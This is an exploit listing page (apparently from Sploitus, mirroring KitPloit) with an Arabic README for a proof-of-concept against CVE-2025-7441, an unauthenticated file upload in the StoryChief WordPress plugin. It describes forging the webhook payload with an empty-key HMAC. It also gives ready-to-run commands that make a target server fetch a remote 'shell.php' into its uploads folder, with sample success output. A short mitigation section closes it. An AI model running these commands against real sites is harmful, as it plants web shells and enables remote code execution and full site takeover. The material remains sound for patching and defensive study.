Sploitus

Exploit for CVE-2025-7441

kitploit · 2026-08-31

Exploit Code

MARKDOWN123 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ANOTHERSEC-CVE-2025-7441
![CVE-2025-7441](https://assets.kitploit.com/production/public/readmes/15283/a114a8c95b72d0f938feb013b047411a2d436499d425ea69ad7904c95bf014b3.png)

# CVE-2025-7441 StoryChief 1.0.42 - رفع ملف تعسفي

## الثغرة (CVE-2025-7441) - ملخص فني

  * **المكون المتأثر:** إضافة StoryChief لووردبريس
  * **نوع الثغرة:** رفع ملف تعسفي بدون مصادقة
  * **نقطة النهاية المعرضة:** `/wp-json/storychief/webhook`
  * **السبب الجذري:** تقبل الإضافة حمولة JSON webhook تحتوي على رابط (تحت `data.featured_image.data.sizes.full`) وتقوم بجلب HTTP GET من جانب الخادم لذلك الرابط دون تحقق كافٍ (لا توجد قائمة نطاقات مسموح بها، فحوصات MIME/محتوى غير كافية، ويتم حفظ الملفات تحت مسارات رفع عامة).
  * **التأثير:** يمكن لمهاجم غير مصادق أن يتسبب في جلب الخادم لمحتوى يتحكم به المهاجم وتخزينه في دليل رفع ووردبريس (مثل `wp-content/uploads/YYYY/MM/<filename>`). إذا كان الملف المرفوع يمكن تفسيره/تنفيذه من قبل الخادم (على سبيل المثال، ملف PHP والخادم يسمح بتنفيذ PHP هناك)، يؤدي ذلك إلى تنفيذ كود عن بعد (RCE) واختراق كامل للموقع.
  * **CVSS (مثال):** 9.8 (حرج) — تعتمد الشدة على تكوين الاستضافة وتصاريح التنفيذ.



* * *

## حول هذا الإثبات (`CVE-2025-7441`)

يقوم هذا السكريبت بأتمتة سير التحقق النموذجي من الثغرة:

  1. بناء حمولة JSON webhook تضع رابط ملف بعيد في `data.featured_image.data.sizes.full`.
  2. حساب توقيع HMAC-SHA256 على الحمولة (يحسب السكريبت باستخدام مفتاح فارغ افتراضياً) وتخزينه في `meta.mac`.
  3. إرسال POST للحمولة إلى `<site_url>/wp-json/storychief/webhook`.
  4. التحقق من وجود الملف المطلوب في مسار الرفع المتوقع:



<site_url>/wp-content/uploads///

إذا استجاب الملف بـ HTTP 200، يبلغ السكريبت عن النجاح؛ وإلا يطبع `<failed to upload>`.

يتضمن السكريبت العلمات التالية: `--file-url`, `--verbose`, `--use-curl`, و `--retries`.

## الاستخدام

python3 CVE-2025-7441.py <site_url>

### وسيط موضعي

  * `<site_url>` — رابط الأساس للموقع المستهدف. مثال: `http://127.0.0.1:5000/` أو `https://target.example/`



### العلمات

  * `--file-url` — تجاوز رابط الملف البعيد الافتراضي الذي يستخدمه الإثبات. الافتراضي: رابط GitHub خام عينة مضمن في الكود. مثال: `--file-url https://127.0.0.1:5000/zip.php`
  * `--verbose` — تمكين المخرجات التفصيلية (يطبع تفاصيل الطلب/الاستجابة وتقدم الفحص).
  * `--use-curl` — استخدام عملية فرعية `curl` لتسليم POST (وضع احتياطي). يتطلب تثبيت `curl`.
  * `--retries` — عدد محاولات التحقق من مسار الرفع المتوقع للملف. الافتراضي: `1`. استخدم مثلاً `--retries 5` للاستقصاء عدة مرات.



* * *

## مثال الأمر

root@kitploit:~
    
    
    python3 CVE-2025-7441.py http://127.0.0.1:5000/
    

تحديد رابط ملف بعيد مخصص

root@kitploit:~
    
    
    python3 CVE-2025-7441.py http://127.0.0.1:5000/  --file-url https://example.com/shell.php
    

إخراج تفصيلي وفحوصات متعددة

root@kitploit:~
    
    
    python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
    

استخدام curl لتسليم POST

root@kitploit:~
    
    
    python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
    

المخرجات:

root@kitploit:~
    
    
    [*] Target: https://127.0.0.1:5000
    [*] file_url: https://127.0.0.1:5000/ZIP.php
    [*] retries: 3
    [*] use_curl: False
    [+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
    [*] Sending POST via requests...
    [*] POST status: 200
    [*] Response body (truncated):
    {"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
    [*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
    [+] success! [+]
    https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
    

### التخفيف

التخفيف والمعالجة على المدى القصير:

  * ترقية StoryChief إلى إصدار مصحح فور توفره.
  * حظر أو تقييد `/wp-json/storychief/webhook` عبر WAF أو قواعد الخادم.
  * تقييد عمليات الجلب الصادرة من الخادم أو حركة المرور الخارجة إلى النطاقات غير الموثوقة.



توجيه للمطورين:

  * التحقق من أنواع الملفات ومحتواها بعد أي جلب عن بعد؛ التحقق من الصور باستخدام محللات آمنة ورفض الملفات غير الصالحة.
  * طلب المصادقة للwebhooks التي تسبب تنزيلات من جانب الخادم أو إنشاء ملفات.
  * ضمان تنفيذ التحقق من HMAC/التوقيع وتطبيقه.
  * تخزين المحتوى المرفوع خارج جذر الويب أو تعطيل تنفيذ الملفات المرفوعة في wp-content/uploads.